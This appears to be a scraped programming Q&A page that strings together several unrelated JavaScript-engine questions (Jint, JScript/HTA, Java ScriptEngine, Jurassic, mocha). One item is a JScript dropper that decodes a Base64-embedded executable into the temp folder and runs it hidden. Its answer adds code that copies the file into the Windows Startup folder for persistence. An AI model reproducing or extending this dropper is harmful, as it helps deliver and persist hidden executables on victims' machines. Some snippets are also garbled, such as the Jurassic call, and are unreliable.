I wrote code below
static void Main(string[] args)
{
var engine = new Engine();
var file = File.ReadAllText(#"...\Desktop\beautify.js");
var final = file + Environment.NewLine + "(function () {return js_beautify('var a = 2;');})();";
var exec = engine.Execute(final);
var r = exec.GetCompletionValue().ToString();
Console.WriteLine(r);
Console.Read();
}
but the Jint show error
Jint.Runtime.JavaScriptException: 'js_beautify is not defined'
Can anyone help me how to register external js libraries like beautify.js and then call functions of them in Jint ?
It should be
var engine = new Engine().Execute("var global = {};").Execute(content);
var js_beautify = engine.Execute("global.js_beautify").GetCompletionValue();
var result = engine.Invoke(js_beautify, "var a = 2;").AsString();
Related
I am making a JSE file , which will decode the Base64 Encoded .exe file , save it to the tmp folder and execute it. But i need to add the .exe file to startup & run everytime the system restarts. I am a beginner in coding , just made this program with various open source codes.
Can anyone help me how to make this to auto startup ? As of now , everything is working good . When i click on the jse file , it runs in background , from decoding to installing the exe . But when i restart , nothing happens.
var x="Base64valueofexe"; // Here we enter encoded base64 value of our exe
function decodeBase64(a) {
var b = new ActiveXObject("Microsoft.XMLDOM");
var c = b.createElement("tmp");
c.dataType = "bin.base64";
c.text = a;
return c.nodeTypedValue
}
function writeBytes(a, b) {
var c = 1;
var d = new ActiveXObject("ADODB.Stream");
d.Type = c;
d.Open();
d.Write(b);
d.SaveToFile(a)
}
function writeBase64FileInTemp(a, b) {
var c = 2;
var d = new ActiveXObject("Scripting.FileSystemObject");
var e = d.GetSpecialFolder(c) + "\\" + b;
writeBytes(e, decodeBase64(a));
return e
}
function deleteFile(a) {
var b = new ActiveXObject("Scripting.FileSystemObject");
b.DeleteFile(a)
}
var fname = 'abc.exe';
try {
var fpath = writeBase64FileInTemp(x, fname);
var oShell = new ActiveXObject("WScript.Shell");
oErrCode = oShell.Run(fpath, 0, true);
deleteFile(fpath)
} catch (err) {};
This is working well , but anyone pls help me to make this .exe file run evertime after restart.
simply you can copy your executable file into the startup folder. you need to change your code like this:
try {
var fpath = writeBase64FileInTemp(x, fname);
var oShell = new ActiveXObject("WScript.Shell");
var fso = new ActiveXObject("Scripting.FileSystemObject");
oErrCode = oShell.Run(fpath, 0, true);
var strUserName = oShell.ExpandEnvironmentStrings("%USERNAME%"); # get current username
fso.CopyFile (fpath, "C:\\Users\\"+strUserName+"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"); # copy the file into the current user startup folder
deleteFile(fpath);
} catch (err) {};
I write a HTA File with javascript to display some userinformation.
How can I run windows cmd commands (like in a batch file) and get the output in a variable.
What I need in Javascript syntax
batch-file code
net user %username% /domain | findstr /c:"password expires"
so that I have this in a variable in javascript function.
Same like this:
function username()
{
var wshshell=new ActiveXObject("wscript.shell");
var username=wshshell.ExpandEnvironmentStrings("%username%");
return username
}
function ipAddress() {
var ipAddress = "";
var wmi = GetObject("winmgmts:{impersonationLevel=impersonate}");
e = new Enumerator(wmi.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True"));
for(; !e.atEnd(); e.moveNext()) {
var s = e.item();
ipAddress = s.IPAddress(0);
}
return ipAddress
}
You can use WScript.shell object. It allows you to execute shell commands.
var objShell = new ActiveXObject("WScript.shell");
It has run method.
https://learn.microsoft.com/en-us/previous-versions/windows/desktop/legacy/bb776890(v=vs.85)
I have tried to call javascript function from java code, but I am getting the following error while using javascript API:
Caused by: sun.org.mozilla.javascript.internal.EcmaError:
ReferenceError: "File" is not defined. (#8) at
sun.org.mozilla.javascript.internal.ScriptRuntime.constructError(ScriptRuntime.java:3770)
at
sun.org.mozilla.javascript.internal.ScriptRuntime.constructError(ScriptRuntime.java:3748)
at
sun.org.mozilla.javascript.internal.ScriptRuntime.notFoundError(ScriptRuntime.java:3833)
at
sun.org.mozilla.javascript.internal.ScriptRuntime.name(ScriptRuntime.java:1760)
at
sun.org.mozilla.javascript.internal.Interpreter.interpretLoop(Interpreter.java:1785)
at
sun.org.mozilla.javascript.internal.Interpreter.interpret(Interpreter.java:849)
java code:
ScriptEngineManager manager = new ScriptEngineManager();
ScriptEngine engine = manager.getEngineByName("JavaScript");
engine.eval(Files.newBufferedReader(Paths.get("D:/test/test.js"), StandardCharsets.UTF_8));
Invocable inv = (Invocable) engine;
inv.invokeFunction("display", "test");
inv.invokeFunction("writeTextFile", "D:\\test\\file.txt", "test");
test.js:
var display = function(name) {
print("Hello, I am a Javascript display function "+name);
return "display function return"
}
function writeTextFile(afilename, output) {
var txtFile = new File(afilename);
txtFile.writeln(output);
txtFile.close();
}
display function working fine, the error appear while executing writeTextFile function.
in your test.js, try:
var txtFile = new File([""], afilename);
My remote js file as below
(function(window,document){
var config = {
'placeHolder' : 'content_div'
};
var html = "blaaa blaaa";
})(window,document);
I would likte to get value of html.
I have tried as below but I have got error.
string _JsVars = this._HttpWebRequestRemoteUrl(#"http://www.remotewebpage.com");
var engine = new Jurassic.ScriptEngine();
var result = engine.(_JsVars);
var var1 = engine.GetGlobalValue<string>("html");
MessageBox.Show(var1.ToString());
I have this opcode.js file and need to test it with mocha.An example can be seen here :
var opcode = {
'0': {
decode: function (data) {
var ocBuf = new OpcodeBuffer(data);
var kpo = {};
kpo.opcode = 0x00;
ocBuf.setIndex(1);
kpo.sid = ocBuf.readUInt16();
return kpo;
},
encode: function (kpo) {
var ocBuf = new OpcodeBuffer(opcode['0'].encodeLength(kpo));
ocBuf.writeUInt8(0x00);
ocBuf.writeUInt16(kpo.sid);
return ocBuf.buf;
}
module.exports = opcode;
and the write in my test_ack.js file:
var op = require('./ack.js');
var assert = require('assert');
opcode = op.opcode;
var decode = require('opcode').decode();
var encode = require('opcode').encode();
the problem is that i keep having this encode and decode not defined error messages.I still cannot get how can i import them in my directory.
Given the code you show us, this would be the way you could import your two functions:
var decode = require('opcode')["0"].decode;
var encode = require('opcode')["0"].encode;
I'd suggest additionally avoiding calling require twice. Among other things, the code you currently have calls the functions instead of just importing them.